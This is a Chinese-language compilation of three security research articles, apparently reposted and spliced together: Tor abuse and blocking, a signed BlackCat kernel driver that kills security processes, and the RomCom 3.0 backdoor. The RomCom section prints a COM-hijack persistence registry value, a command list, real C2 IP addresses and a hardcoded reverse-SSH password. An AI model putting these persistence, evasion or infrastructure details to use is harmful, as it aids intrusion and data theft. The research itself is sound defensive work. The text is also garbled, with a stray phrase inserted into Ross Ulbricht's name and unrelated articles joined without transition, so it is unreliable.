此時，使用者可以訪問每個Tor節點，並分別與它們建立一個密鑰，但這會讓每個節點都知道使用者的身份。問題的第二部分是使用DHE建立密鑰。使用者的計算機並沒有直接與所有三個節點通信，而是在與入口節點建立密鑰後，用Kn1 對所有消息進行加密，並通過入口節點將消息發送到中繼節點。這意味著中繼節點只知道入口節點而不知道使用者。同樣，使用者的計算機用Kn2 和Kn1 加密DHE 消息，並將它們通過守衛節點和中繼節點發送到退出節點。

不幸的是，在使用者了解Tor並開始使用它之後，監控者開始審查與公開宣傳的Tor節點IP 的連接。為了安全，開發者開始運行秘密的Tor網橋（私下替換公開宣傳的入口節點），並一次只向少數用戶提供小批量的服務。

對使用者來說，更糟糕的是，研究人員發現他們可以通過掃描整個IPv4空間來發現Tor網橋。

總之，對於使用者來說，這是一場持續的貓捉老鼠遊戲。

Tor 的惡意和良性示例使用Tor的用戶可以可能是壞人也可能是好人。不管怎樣，人們可能會使用Tor訪問受地理限制的內容或規避政府的審查或機構的內容封鎖。例如，如果Tor流量沒有被阻止，高級URL過濾的客戶無法阻止使用Tor的員工規避基於分類的過濾。

Tor 還以其洋蔥服務而聞名。例如，Tor 有助於隱藏多個舉報人網站，用戶可以在這些網站上舉報其組織中的非法和不道德活動，而不必擔心遭到報復。洋蔥服務通過允許用戶僅使用Tor進行連接來保護其IP 地址的秘密。這個想法是，用戶和洋蔥服務都通過Tor連接，它們在中間的一個集合點（一個Tor節點）相遇。雖然這些洋蔥服務的目的不一定是為了使非法活動成為可能，但過去的研究發現，Tor用戶建立了很大一部分或大部分用於非法目的的隱藏服務。然而，只有6.7% 的Tor用戶連接到隱藏服務。與洋蔥服務相比，絕大多數用戶訪問不太可能是非法的那些網站。例如，超過100 萬人使用Tor查看Facebook 的隱藏服務，該服務允許來自政府審查的地區的訪問。

攻擊者也可以利用Tor進行他們的活動。攻擊通常從偵察開始，攻擊者探索目標的基礎設施並蒐索潛在漏洞，例如，通過掃描開放的端口和運行的服務。通過使用Tor，攻擊者可以隱藏他們的位置，並將他們的活動分佈到多個退出節點。

同樣，攻擊者可以使用Tor進行攻擊的後續步驟，例如利用偵察期間發現的漏洞、更新目標設備上的惡意代碼、命令和控制通信以及數據洩露。 Tor的其他惡意用途包括DoS 攻擊、虛假帳戶創建、垃圾郵件和網絡釣魚。

攻擊者以各種方式利用Tor進行勒索軟件攻擊。在Ryuk 和Egregor 勒索軟件的示例中，名為SystemBC 的初始遠程訪問木馬(RAT)使用Tor隱藏服務作為命令和控制通信的後門。在構建木馬攻擊時，使用Tor隱藏服務進行命令和控制非常有用，因為這使得命令和控制難以取消並保持其可訪問性，除非使用各種安全產品阻止與Tor的連接。 Gold Waterfall 攻擊組織在安裝DarkSide 勒索軟件時也使用Tor進行後門通信。 Tor隱藏的基於服務的洩漏網站也被用來託管與DarkSide 和Ranzy locker相關的被盜數據。此外，DoppelPaymer還利用Tor支付網站收取贖金。 Unit 42 最近發表了關於Cuba勒索軟件和BlueSky Ransomware勒索軟件的研究，前者使用基於Tor隱藏服務的洩漏網站，後者發送勒索通知，指示目標下載Tor瀏覽器，作為獲取文件訪問權的一部分。

Tor 的使用並不特定於針對服務器和個人計算機的惡意軟件。一種Android惡意軟件還使用Tor隱藏服務作為命令和控制服務器，使攻擊變得困難。

此外，研究人員發現Tor被用來發送各種惡意垃圾郵件，通常以評論和約會垃圾郵件的形式出現。研究人員還發現，通過Tor發送的電子郵件可能包含嚴重的威脅，包括AgentTesla RAT 的傳播、以Adobe 為主題的網絡釣魚電子郵件和Covid-19 貸款詐騙。

使用Tor的攻擊者是如何被抓住的？雖然Tor提供了比許多其他解決方案更好的匿名性，但它並不完美。

2013 年，一名哈佛學生試圖通過發送炸彈攻擊來逃避他的期末考試。他通過Tor連接到一個匿名電子郵件提供商以隱藏他的身份。然後他使用這個電子郵件提供商發送炸彈攻擊。雖然他正確使用了Tor，但當他從哈佛的wifi 網絡連接到Tor時，他犯了一個大錯誤。該生的錯誤是Tor只隱藏了使用者所做的事情，而不隱藏使用Tor的事實。學校管理者從電子郵件的標題中發現有人使用Tor發送電子郵件。他們從那個位置檢查了網絡日誌，看看是否有學生在學校收到郵件的時間內連接到Tor。

臭名昭著的洋蔥服務“絲綢之路”(Silk Road)的創始人羅斯马云惹不起马云烏布里希(Ross Ulbricht)也正確使用了洋蔥網絡，但他在操作上犯了另一個錯誤，導致他被捕。絲綢之路是當時最著名的暗網市場，賣家提供毒品、假鈔、偽造身份證件和槍支等商品。美國聯邦調查局(FBI)發現，早些時候，有人用“薄荷糖”(Altoid)這個筆名四處推銷絲綢之路。 8個月後，Ulbricht用這個筆名發布了招聘廣告，聯繫人是rossulbricht@gmail[.]com ，以聘請一名IT 專家，來幫助“一家由風投支持的比特幣創業公司”。據報導，聯邦調查局隨後能夠訪問Ulbricht使用的VPN 服務器的日誌和谷歌訪問他的Gmail 地址的日誌。這兩項記錄都指向了舊金山的一家網吧，並導致了他的被捕。

攻擊者可以通過其他方法對Tor用戶進行去匿名化，例如，通過使用JavaScript 或設置非法Tor節點（現在可能正在現實世界中發生）。關鍵是，雖然Tor確實提供了一定程度的匿名性，但用戶可以通過操作錯誤洩露他們的身份，或者如果追查者確定並擁有資源，他們可以被識別。

如何阻止攻擊者利用Tor 5.png

如何使用不同的方法來阻止攻擊者利用Tor。標記為Part 1* 和2* 的單元格表示需要同時使用這兩種解決方案來保護企業。

要阻止進出Tor網絡的流量，我們可以阻止公開發布的TorIP，或者識別和阻止Tor應用程序流量。上圖總結了每種阻止機制的示例。首先，我們可以使用已知退出節點IP 列表來阻止來自Tor的攻擊，例如偵察、利用、命令和控制通信、數據洩露和DoS 攻擊。使用已知保護節點IP 列表，我們可以阻止我們的用戶及其設備向Tor發送流量，並防止數據洩露、命令和控制通信、規避地理限制和內容阻止以及訪問.onion 網站。

由於Tor網橋節點列表未知，基於保護節點IP 的阻止只是部分解決方案。相反，我們可以使用Palo Alto Networks 流量分類系統App-ID 直接檢測和阻止Tor流量。除了使用可用的保護和橋接節點IP，App-ID 還會查看連接的特徵，例如使用的密碼套件或數據包的大小來識別Tor流量。

此外，攻擊者可以從Tor網絡或受感染的設備發起數據洩露以及命令和控制通信。因此，要阻止這些攻擊，最好同時使用基於退出IP 和基於流量分析的阻止。

Palo Alto Networks 收集所有公開宣傳的Tor退出IP，並利用它們建立一個電路來測試它們是否有效。已知且有效的Tor退出列表構成了Palo Alto Networks 預定義的Tor退出IP 外部動態列表。

使用Tor退出IP 外部動態列表和App-ID，研究人員觀察到企業使用Tor很常見，因為我們在一個月內確定了204 個客戶網絡中691 台設備上的6617473 個會話。

除了阻止Tor流量外，企業還可以利用Cortex XDR 等端點保護來覆蓋基於Tor的攻擊。 Cortex XDR 基於用戶和實體行為分析(UEBA)、端點檢測和響應(EDR)、網絡檢測和響應(NDR) 以及雲審計日誌來檢測以下活動：

與Tor中繼服務器的可能網絡連接；

來自Tor的成功VPN 連接；

從Tor成功登錄；

來自Tor退出節點的可疑API 調用；

來自Tor的SSO 成功登錄。

總結Tor 為其用戶提供匿名性，不過匿名性經常被不法分子利用，一方面，Tor 可以幫助人們改善隱私和保護舉報人。另一方面，Tor 可用於各種惡意活動，包括匿名偵察、數據盜竊、逃避地理限制、規避內容阻止以及在暗網上運行非法市場。

由於網絡犯罪分子經常將Tor用於惡意目標，因此建議在企業環境中禁止使用Tor。根據調查，企業使用Tor很常見，研究人員在一個月內發現了204 個客戶網絡上的691 台設備的6617473 個會話。

6.png

Palo Alto Networks 提供了兩種用於阻止Tor流量的解決方案，作為攻擊預防的一部分，最好一起使用。他們向客戶提供經過驗證的內置Tor退出IP 外部動態列表，他們可以使用該列表來阻止與Tor退出節點的連接。此外，可以使用Palo Alto Networks 流量分類系統App-ID 阻止企業網絡中的Tor流量。此外，客戶可以利用Cortex XDR 來提醒和響應端點設備、網絡或云中的Tor相關活動。

HireHackking

我們將在本文中詳細介紹發生在2023年2月的BlackCat勒索軟件事件，研究人員在其中發現了一種新型逃避功能。

2022年12月下旬，Mandiant、Sophos和Sentinel One的研究人員發現惡意內核驅動程序是通過幾個微軟硬件開發人員帳戶(由微軟Windows硬件開發人員計劃認證)簽名的，微軟隨後撤銷了幾個在這些攻擊中被濫用的微軟硬件開發者賬戶。

我們將在本文中介紹有關2023年2月發生的BlackCat勒索軟件事件，該變體與三家安全商2022年12月下旬披露的惡意驅動程序重疊。眾所周知，BlackCat在逃避功能上使用了多種技術，比如使用禁用和修改工具或使用安全模式引導技術。

本文重點分析揭示了這種新功能，它涉及使用簽名內核驅動程序進行逃避。我們認為這個新的內核驅動程序是一個最新版本，繼承了以前研究中披露的示例的主要功能。該驅動程序與單獨的用戶客戶機可執行文件一起使用，試圖控制、暫停和終止部署在攻擊目標上的安全代理的各種進程。

攻擊者使用不同的方法對其惡意內核驅動程序進行簽名：通常是通過濫用Microsoft簽名門戶、使用洩露和被盜的證書或使用地下服務。在示例中，攻擊者試圖部署Mandiant披露的舊驅動程序，該驅動程序通過Microsoft簽名(SHA256: b2f955b3e6107f831ebe67997f8586d4fe9f3e98)。由於該驅動程序之前已經被發現並檢測到，攻擊者部署了另一個由被盜或洩露的交叉簽名證書籤名的內核驅動程序。

惡意簽名的內核驅動程序我們觀察到的2023年2月的勒索軟件事件證明，勒索軟件運營商及其附屬機構對獲得他們在攻擊中使用的勒索軟件有效負載的特權級訪問非常感興趣。他們通常使用包含低權限組件的勒索軟件家族，以避免在最終有效負載被釋放後被安全產品檢測到。跟踪分析發現，大多數與內核相關的有效負載通常是在企圖逃避階段被發現的。

1.png

內核級攻擊的分佈

2.png

大多數與內核相關的有效負載都是在企圖逃避階段被發現的

一些勒索軟件攻擊試圖遵守微軟的代碼簽名要求。這使得惡意攻擊者可以靈活地在釋放實際負載之前編譯為特定任務(通常涉及削弱防禦和逃避)設計的內核模塊。攻擊者可以採取以下方法：

1. 使用代碼簽名證書，該證書要么是洩露的，要么是竊取的，要么是從黑市購買的。

2. 通過模仿合法機構並按照微軟的流程獲取交叉簽名證書(前提是微軟允許對內核模式代碼進行交叉簽名)，濫用微軟的門戶來發布簽名的內核模塊，獲得新的有效代碼簽名證書，以及從黑市購買與真實身份相關的有效代碼簽名證書和/或擴展驗證（EV）證書。

3.png

顯示攻擊者如何遵守微軟代碼簽名要求的圖表

對簽名驅動程序的分析接下來，我們將研究二月BlackCat攻擊中使用的簽名驅動程序（ktgn.sys）。下圖顯示了這些新簽署的驅動程序的其他示例，以及它們是如何被用作BlackCat逃避程序的。

4.png

BlackCa在逃避階段釋放的文件

通過虛擬機保護的用戶代理tjr.exe將內核驅動程序釋放到用戶臨時目錄C:\%User%\AppData\Local\Temp\Ktgn.sys。然後安裝被釋放的驅動程序，名稱為Ktgn，啟動值為System（在系統重新啟動時啟動）。通過我們對用戶與該驅動程序交互時發生的情況的分析，我們觀察到它只使用了一個公開的設備輸入和輸出控制（IOCTL）代碼——Kill Process，該代碼用於阻止安裝在系統上的安全代理進程。

與此同時，驅動程序ktgn.sys使用當前吊銷的有效數字簽名從“BopSoft”(它也曾被其他攻擊者用於代碼簽名)簽名，可以成功加載到執行簽名策略的64位Windows安裝中，該驅動程序使用Safengine Protector v2.4.0.0工具進行混淆，這使得靜態分析技術不可靠。通過加載被混淆的驅動程序並嘗試構建一個用戶模式客戶端來觀察暴露的IOCTL接口，我們可以確定每個IOCTL代碼的函數。最後，我們觀察到相同的內核驅動程序被不同的代碼簽名證書籤名。

5.png

具有不同簽名者的驅動程序變體

6.png

用於混淆二進製文件的封裝程序

由於它沒有註冊卸載回調函數，因此只有在釋放或修改服務註冊表項後重新啟動系統時，才能卸載驅動程序。

7.png

服務控制管理器無法停止該服務

8.png

缺少卸載函數的驅動程序

一個名為\\.\keHeperDriverLink的符號鏈接被創建，該符號允許用戶模式客戶端與其連接和通信。請注意，該鏈接只允許一個連接，如果多個客戶端試圖同時連接，系統將崩潰。

8.png

正在檢查另一個用戶模式進程是否正在嘗試連接到驅動程序

9.png

暴露的IOCTL接口

這個客戶機支持10個不同的命令，每個命令實現一個特定的功能，該功能由內核驅動程序通過適當的IOCTL接口執行。驅動程序和用戶模式客戶端之間的通信使用irp_mj_devicide_control處理程序通過以下代碼發生，每個IOCTL代碼及其對應的功能：

222088h：激活驅動程序

22208ch：取消激活驅動程序

222094h：終止進程

222184h：刪除文件

222188h：強制刪除文件

22218ch：複製文件

222190h：強制複製文件

2221c8h：註冊進程/線程對象通知

2221c4h：註銷進程/線程對象通知

222264h：重啟系統

根據我們對內核驅動程序的分析，它似乎仍在開發和測試中，因為它的結構不是很好，而且它的一些功能目前還不能使用。接下來將介紹各種IOCTL接口的詳細信息。

IOCTL 222088h在執行任何其他操作之前，必須首先調用IOCTL 222088h來激活驅動程序。如果未調用此代碼，驅動程序將不接受任何操作，並將返回消息STATUS_ACCESS_DENIED。用戶模式客戶端將此激活字節數組發送給驅動程序。

激活是對位於驅動程序中的大小為0x42的硬編碼字節數組進行簡單的字節比較。如果比較通過，它將設置一個BOOLEAN標誌，該標誌將在任何操作之前進行檢查。

11.png

運行內存中的激活字節數

12.png

複製激活字節以測試驅動程序操作

IOCTL 22208 chIOCTL 22208Ch在用戶模式客戶端完成取消之前在IOCTL代碼222088h中設置的標誌的操作後被調用。這將使驅動程序失效並停止處理任何新的操作。

客戶端將需要傳遞IOCTL代碼222088h中傳遞的相同字節數組，以便成功完成操作。

IOCTL 222094 hIOCTL 222094h用於阻止任何用戶模式進程（甚至是受保護的進程）。 Tt從用戶代理接收進程ID，然後在目標進程上下文中創建內核線程。創建的內核線程調用ZwTerminateProcess API來終止目標進程。

13.png

檢查驅動程序是否激活

14.png

IOCTL 222094h終止進程

IOCTL 222184 hIOCTL 222184h用於刪除特定的文件路徑。

15.png

IOCTL 222184h刪除文件路徑

IOCTL 222188 hIOCTL 222188h強制刪除文件。為此，內核驅動程序執行以下操作：

1.它嘗試使用暴力方法打開系統上的所有進程（從PID=0x4到PID=0x27FFD）；

2.當它成功地打開一個進程時，它會嘗試引用進程內的所有句柄，再次使用暴力方法（從HANDLE=0x4開始到HANDLE=0x27FFD）；

3.當它成功引用句柄時，它使用ObQueryNameString API將句柄映射到名稱。當找到匹配項時，內核驅動程序關閉句柄。

此操作將確保關閉對該文件的所有引用，並且該操作可以成功完成，而不會出現任何錯誤，說明該文件正被其他應用程序使用。

16.png

暴力破解PID

17.png

暴力破解句柄

IOCTL 22218 chIOCTL 22218Ch用於復製文件。

18.png

IOCTL 22218Ch用於復製文件

IOCTL 222190 hIOCTL 222190h用於強制複製文件。驅動程序使用與強制刪除相同的操作（IOCTL代碼：222188h）。它使用暴力方法關閉所有進程對文件的所有引用，然後復製文件。

IOCTL 2221C4h和IOCTL 2221C8h

IOCTL 2221C4h和2221C8h都用於註冊和註銷進程/線程通知回調。然而，在撰寫本文時，這兩條路徑都是無法實現的，這表明它們仍處於開發或測試階段。

19.png

註冊對象通知的偽代碼

20.png

註銷對象通知的偽代碼

21.png

對象通知函數的偽代碼

IOCTL 222264 hIOCTL 222264h通過調用HalReturnToFirmware API重啟系統。

總結攻擊者通過終端保護平台(EPP)和終端檢測與響應(EDR)技術，正在積極尋求對Windows操作系統的高權限訪問的惡意攻擊，繞過各類防護措施。由於這些添加的保護層，攻擊者傾向於選擇阻力最小的方法，通過內核層（甚至更低級別）運行惡意代碼。所以我們認為，這種威脅會一直存在。

惡意攻擊者將繼續使用rootkit對安全工具隱藏惡意代碼，繞過防禦，並在很長一段時間內不會被檢測到。這些rootkit將被惡意組織大量使用，他們既擁有逆向工程低級系統組件的技能，又擁有開發此類工具所需的資源。這些惡意攻擊者還擁有足夠的財力，可以從黑市購買rootkit或購買代碼簽名證書來構建rootkit。這意味著涉及這類rootkit的主要危險在於它們能夠隱藏複雜的有針對性的攻擊，這些攻擊將在攻擊的早期使用，允許攻擊者在受害者環境中啟動實際有效負載之前就逃脫檢測。

緩解措施代碼簽名證書通常會被攻擊者濫用，因為它們在攻擊中提供了額外的混淆層。對於組織來說，洩露的密鑰不僅會帶來安全風險，還會導致對原始簽名軟件的聲譽和信任的喪失。企業應該通過實現最佳實踐來保護他們的證書，例如減少對私鑰的訪問，從而降低對證書進行未經授權訪問的風險。為私鑰使用強密碼和其他身份驗證方法還可以幫助保護它們免受惡意攻擊者的竊取或破壞。此外，使用單獨的測試簽名證書(用於測試環境中使用的預發布代碼)可以最大限度地減少實際發布簽名證書在攻擊中被濫用的可能性。

對於一般的勒索軟件攻擊，組織可以實現一個系統的安全框架，分配資源來建立一個強大的防禦策略。建議如下：

盤點資產和數據；

識別授權和未經授權的設備和軟件；

審計事件和事件日誌；

管理硬件和軟件配置；

僅在必要時授予管理員權限和訪問權限；

監控網口、協議和服務；

為合法應用程序建立軟件許可列表；

實施數據保護、備份和恢復措施；

啟用多因素身份驗證(MFA)；

在系統各層部署最新版本的安全解決方案；

注意攻擊的早期跡象；

保護潛在的入口點(如終端、電子郵件、web和網絡)，組織可以檢測並防範惡意元素和可疑活動，從而保護自己免受勒索軟件攻擊。

HireHackking

由經濟利益驅動，惡意組織在地緣衝突區域發起APT攻擊的趨勢越來越明顯。

Void Rabisu，也被稱為Tropical Scorpius，研究人員認為它使用RomCom後門發起攻擊。分析發現，Void Rabisu的攻擊是出於經濟動機。自2022年10月以來，Void Rabisu的動機似乎發生了變化，當時RomCom後門被報導出現在俄烏衝突中。

研究發現，至少自2022年10月以來，RomCom後門一直出現在地緣政治區域，接下來，研究人員將討論RomCom是如何隨著時間的推移而演變的，以及後門是如何通過類似APT的方法傳播的，以及目前正在發生的著名網絡犯罪活動所使用的方法，以表明RomCom正在使用更多的逃避技術。

RomCom使用的第三方服務也被其他攻擊者使用，如惡意軟件簽名和二進制加密。 RomCom已經通過許多誘餌網站傳播。 Void Rabisu是出於經濟動機的，他們的目標和動機在特殊的地緣政治環境下看起來更像是出於政治目的。

RomCom活動自2022年夏天以來，研究人員一直在跟踪RomCom的活動，自那以後，它的逃避方法有所升級，惡意軟件不僅經常使用VMProtect來增加手動和自動沙盒分析的難度，而且還在有效負載文件上使用二進制填充技術。這為文件添加了大量的覆蓋字節，增加了惡意負載的大小（研究人員看到一個文件的大小為1.7G）。此外，最近添加了一個新的例程，該例程涉及有效負載文件的加密，只有在下載特定密鑰以激活有效負載的情況下，才能對有效負載文件進行解密。

除了這些逃避技術外，RomCom還使用誘餌網站進行傳播，這些網站通常看起來是合法的，並被用於目標定位。這使得通過網絡信譽系統自動屏蔽這些誘惑網站變得更加困難。 Void Rabisu一直在使用谷歌廣告誘導他們的目標訪問誘餌網站，類似於2022年12月傳播IcedID殭屍網絡的活動。一個關鍵的區別是，雖然IcedID的目標範圍更廣，但Void Rabisu可能選擇了谷歌廣告向其廣告商提供的更有針對性的目標。

RomCom的活動還利用了具有高度針對性的魚叉式網絡釣魚電子郵件。

在RomCom誘餌網站上，目標被提供合法應用程序的木馬版本，如聊天應用程序(如AstraChat和Signal)、PDF閱讀器、遠程桌面應用程序、密碼管理器和其他通常由系統管理員使用的工具。

1.1.png

1.2.png

1.3.png

1.4.png

1.5.png

1.6.png

研究人員統計了自2022年7月以來建立的幾十個誘餌網站。例如，RomCom在2022年3月對一名歐洲議會議員使用了魚叉式網絡釣魚，但在2022年10月通過谷歌廣告定位了一家歐洲國防公司，該廣告導致一個中介登陸網站重定向到RomCom誘餌網站。該中介登陸網站使用了域名“kagomadb[.]com”，該域名後來於2022年12月用於Qakbot和Gozi有效負載。

追踪發現，RomCom後門的目標是烏克蘭及其盟友。

RomCom 3.0：AstraChat活動接下來，我們將分析2023年2月針對東歐目標使用的RomCom後門樣本。 Palo Alto的Unit 42分析了以前的RomCom版本，使用模塊化架構，支持多達20種不同的命令。從那時起，惡意軟件在支持的命令數量方面發生了顯著變化，但其模塊化架構幾乎沒有改變。 RomCom 3.0背後的攻擊者還使用不同的技術來釋放和執行惡意軟件。該分析基於一項將RomCom 3.0嵌入AstraChat即時消息軟件安裝包的活動。

Dropperastrachat.msi 文件是一個Microsoft安裝程序（msi）文檔。儘管安裝了與合法的AstraChat軟件相關的文件，但它還是打開了一個惡意的InstallA.dll文件，並調用其Main()函數。

2.png

InstallA.dll文件提取%PUBLIC%\Libraries文件夾下的三個動態鏈接庫（DLL）文件：

prxyms

winipfile

netid

這些DLL文件中的數字是基於從HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid的Windows註冊表中讀取的計算機GUID的整數。

持久性為了持久性，RomCom使用COM劫持，因此得名。 InstallA.dll在Windows註冊表中寫入以下註冊表值：

[HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32]

@='%PUBLIC%\\Libraries\\prxyms

這會覆蓋HKEY_LOCAL_MACHINEhive中的相同項，導致請求該類ID（CLSID）的進程加載位於%PUBLIC%\Libraries\prxyms.DLL的RomCom加載程序DLL。其中一個進程是explorer.exe，它由RomCom dropper重新啟動，因此調用加載程序DLL。

RomCom加載程序還通過使用轉發的導出將對其導出函數的調用重定向到合法的actxprxy.dll。

3.png

RomCom 3.0加載程序(prxyms

但是，在調用被轉發之前，RomCom加載程序的DLL入口點上的惡意代碼會運行。這段代碼使用rundll32.exe來執行從winipfile

基礎架構RomCom 3.0分為三個組件：一個加載器，一個與命令和控制(CC)服務器交互的網絡組件，以及一個在受害者計算機上執行操作的工作組件。網絡組件由netid

4.png

RomCom 3.0總體架構

Bot命令RomCom 3.0命令是惡意網絡組件對HTTP POST請求的響應。

5.png

RomCom 3.0命令結構

上圖顯示了接收到命令5的示例，該命令是將文件下載到受害者的計算機上的命令。用於通信的ID是0x950，並且接收到帶有附加數據的命令0x05。在這種情況下，附加數據告訴受感染計算機上運行的惡意軟件，下載的文件應佔用939 (0x3ac – 1) 4KB塊。文件本身是在單獨的響應中下載的，因此在這種情況下，受害者端的最終文件大小將為3,846,144字節。作為一種逃避技術，將空字節附加到文件中以實現此結果，附加數據字段的內容可能因命令而異。

在RomCom 3.0中，研究人員列舉了42個有效命令，以下是用於常規後門的大量命令，但是其中一些命令只是其他命令的變體。

1—發送連接的驅動器信息；

2—發送指定目錄下的文件名列表；

3—啟動cmd.exe以運行現有程序；

4—將指定的文件上載到CC服務器；

5—將文件下載到受害者的計算機上；

6—刪除受害者計算機上的指定文件；

7—刪除受害者計算機上的指定目錄；

8—生成一個帶有PID欺騙的給定進程(PID也作為命令數據的一部分)；

12—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker()，然後將%PUBLIC%\Libraries\PhotoDirector.zip發送到CC服務器並將其刪除；

13—從%PUBLIC%\Libraries\PhotoDirector.dll中調用startWorker()，將屏幕信息寫入%PUBLIC%\Libraries\update.conf；

14—將%PUBLIC%\Libraries\PhotoDirector.zip上傳到CC服務器並將其刪除；

15—發送正在運行的進程及其PID的列表；

16—發送已安裝軟件列表；

17—刪除worker組件(winipfile

18—下載文件並將其保存到%PUBLIC%\Libraries\PhotoDirector.dll；

19—下載一個文件，保存到“%PUBLIC%\Libraries\BrowserData\procsys.dll”中，調用其導出的stub()函數；

20—下載一個可能包含3proxy和plink的ZIP文件；

21—使用3proxy和plink，通過SSH協議建立代理，接收IP地址、密碼、本地和遠程端口作為命令參數，SSH服務器用戶名固定為“john”；

22—終止3proxy.exe和plink.exe進程；

23—下載一個文件並將其保存到%PUBLIC%\Libraries\upd-fil

24—發送%PUBLIC%\Libraries\BrowserData\Result的內容；

25—複製工作線程；

26—發送Windows版本；

29—從CC服務器下載freeSSHd；

30—運行freeSSHd並使用plink創建51.195.49.215的反向連接，用戶名為“john”，密碼為“eK6czNHWCT569L1xK9ZH”

31—關閉freeSSHd進程；

32—在%USERPROFILE%中的“下載”、“文檔”和“桌面”文件夾中發送.txt、rtf、xls、xlsx、ods、cmd、pdf、vbs、ps1、one、kdb、/kdb、doc、doc，odt、eml、msg和.email文件；

34—在受害者計算機的隱藏窗口運行AnyDesk，將AnyDesk ID發送給CC服務器；

35—終止AnyDesk進程，並刪除其可執行文件；

36—下載AnyDesk可執行文件並將其保存到%PUBLIC%\Libraries\dsk.exe；

38—下載文件並將其保存到%PUBLIC%\Libraries\wallet.exe；

39—下載文件並將其保存到%PUBLIC%\Libraries\7z.dll；

40—下載文件並將其保存到%PUBLIC%\Libraries\7z.exe；

41—發送用7-Zip壓縮的%PUBLIC%\Libraries\tempFolder的內容；

42—下載文件並將其保存到%PUBLIC%\Libraries\7za.exe；

43—使用%PUBLIC%\Libraries\7za.exe將給定文件夾壓縮為fold.zip文檔，並將壓縮後的文檔發送到CC服務器；

44—終止PhotoDirector.dll進程；

45—下載文件並將其保存到%PUBLIC%\Libraries\msg.dll；

46—調用%PUBLIC%\Libraries\msg.dll導出的stW()函數；

47—下載文件並將其保存到%PUBLIC%\Libraries\FileInfo.dll；

48—調用%PUBLIC%\Libraries\FileInfo.dll導出的fSt()函數；

49—更新網絡組件；

其他惡意軟件根據發送回CC服務器的消息以及命令如何使用這些文件，研究人員可以推斷出幾個附加組件的用途：

PhotoDirector.dll—用於獲取一個或多個屏幕截圖，並將它們壓縮到%PUBLIC%\Libraries\PhotoDirector.zip中的程序；

procsys.dll—一個被稱為STEALDEAL的竊取程序，用於檢索瀏覽器cookie並將其寫入%PUBLIC%\Libraries\BrowserData\Result；

wallet.exe—一個加密錢包抓取器，將被盜信息寫入%PUBLIC%\Libraries\tempFolder；

msg.dll—用於竊取聊天信息的即時消息抓取器；

FileInfo.dll—FTP憑據的竊取器，或使受害者的計算機將文件上傳到FTP服務器的組件；

除了這些額外的惡意軟件，RomCom 3.0似乎也有下載和運行合法軟件的命令：

dsk.exe–AnyDesk軟件的便攜式版本；

7z.dll、7z.exe和7za.exe–與7-Zip程序相關的文件；

STEALDEAL通過RomCom的CC服務器下載的竊取程序是一個相對簡單的程序，它可以從以下瀏覽器中竊取存儲的憑據和瀏覽歷史：

GoogleChrome

MicrosoftEdge

MozillaFirefox

Chromium

ChromeBeta

YandexBrowser

竊取器還收集了有關已安裝郵件客戶端的信息。被盜數據本地存儲在受害者計算機上的%PUBLIC%\Libraries\BrowserData\Result，通過CC命令24，這些數據通過RomCom CC服務器進行被洩漏。研究人員檢測到這個竊取器是TrojanSpy.Win64.STEALDEAL，也被稱為SneakyTealer。

逃避技術RomCom 3.0二進製文件受VMProtect保護。有些二進製文件還使用有效的證書進行簽名。因為攻擊者決定使用VMProtect的反虛擬機功能，在沒有修改或虛擬機加固的情況下在虛擬機中運行它的任何嘗試都將導致惡意軟件顯示錯誤消息並退出。

6.png

RomCom 3.0示例中默認的VMProtect反虛擬機檢測

RomCom使用的另一個有趣的技術是將空字節添加到從CC服務器接收的文件中的能力。將文件增大可以是為了避免沙盒產品或安全軟件掃描儀對文件大小進行限制。

在之後的RomCom版本中，託管在誘餌網站上的二進製文件包含加密的有效負載。要正確解密負載，它需要訪問IP地址為94.142.138.244的web服務器並下載解密密鑰。研究人員懷疑該網站是一個第三方服務，也可能被其他惡意軟件使用，包括Vidar竊取程序，也被稱為StealC。另外，最新的RomCom釋放程序已停止釋放worker組件。相反，網絡組件要從CC服務器下載它。

數據包的結構(packetstructure)和通信流根據研究人員對受害者計算機和RomCom CC服務器之間通信的觀察，研究人員能夠確定這種通信的數據包結構。最初，客戶端會向服務器發送受害者計算機上的信息，例如其通用唯一標識符(UUID)、用戶名和計算機名稱。然後，服務器將使用一個四個字節長的會話ID進行響應。然後，CC服務器對發送到受害計算機的每個命令在第一個字節上增加一個會話ID。

7.png

觀察到的數據包結構

研究人員觀察到的第一個命令是命令3，它使用cmd.exe運行帶有參數/domain_trusts的Nltest命令。這樣做是為了收集受害者計算機可能知道的任何域的信息。一旦命令完成，它將返回會話ID為五字節的命令結果；此時前四個字節是未知的，但研究人員觀察到，如果它向服務器返回數據，則第一個字節將為0x01，如果它從服務器接收數據，則為0x00。

然後，CC服務器似乎以自動的方式請求特定的信息，因為相同的請求會快速連續地發送。根據研究人員的分析，他們確定服務器正在請求受害計算機：

使用命令3返回ntlist/domain_trusts；

下載StealtDeal以收集某些信息；

使用StealtDeal從受害者的計算機收集cookie和其他信息；

使用命令32從“桌面”、“文檔”和“下載”文件夾中收集文件；

8.png

CC服務器和受害者計算機之間的通信流程

使用假冒公司和網站惡意軟件使用證書為目標受害者下載的軟件增加可信度。乍一看，正在簽署這些二進製文件的公司看起來像是經過證書籤名的合法公司。然而，仔細查看這些公司的網站會發現一些奇怪之處，包括不存在的電話號碼、高管的照片、似乎不匹配的辦公室地址。這讓研究人員相信，這些要么是虛假公司，要么是合法公司，它們被濫用以逃避二進製文件授權簽名檢查。

AstraChat活動中使用的RomCom 3.0樣本由一家名為Noray 的加拿大諮詢公司簽署，該公司擁有一個LinkedIn頁面、一個網站，甚至在加拿大的商業註冊中有一個列表。

9.png

Noray 諮詢公司的LinkedIn頁面截圖

11.png

Noray 諮詢公司的安大略省商業註冊搜索結果

該公司的LinkedIn頁面還提到，Noray 諮詢公司致力於《萨班斯-奥克斯利法案》 （SOX）規定的年度審計，以及其他風險控制領域。然而，領英的頁面也指向一個不存在的網站noray[.]ca。

根據其LinkedIn頁面，該公司聲稱總部位於安大略省，研究人員在加拿大企業的公共記錄中查找了有關該公司的任何信息。在2020年，Noray 諮詢公司的所有者已經修改了公司名稱。攻擊者似乎很善於利用那些不活躍或處於類似狀態的公司，然後會盜用這些公司的名字。

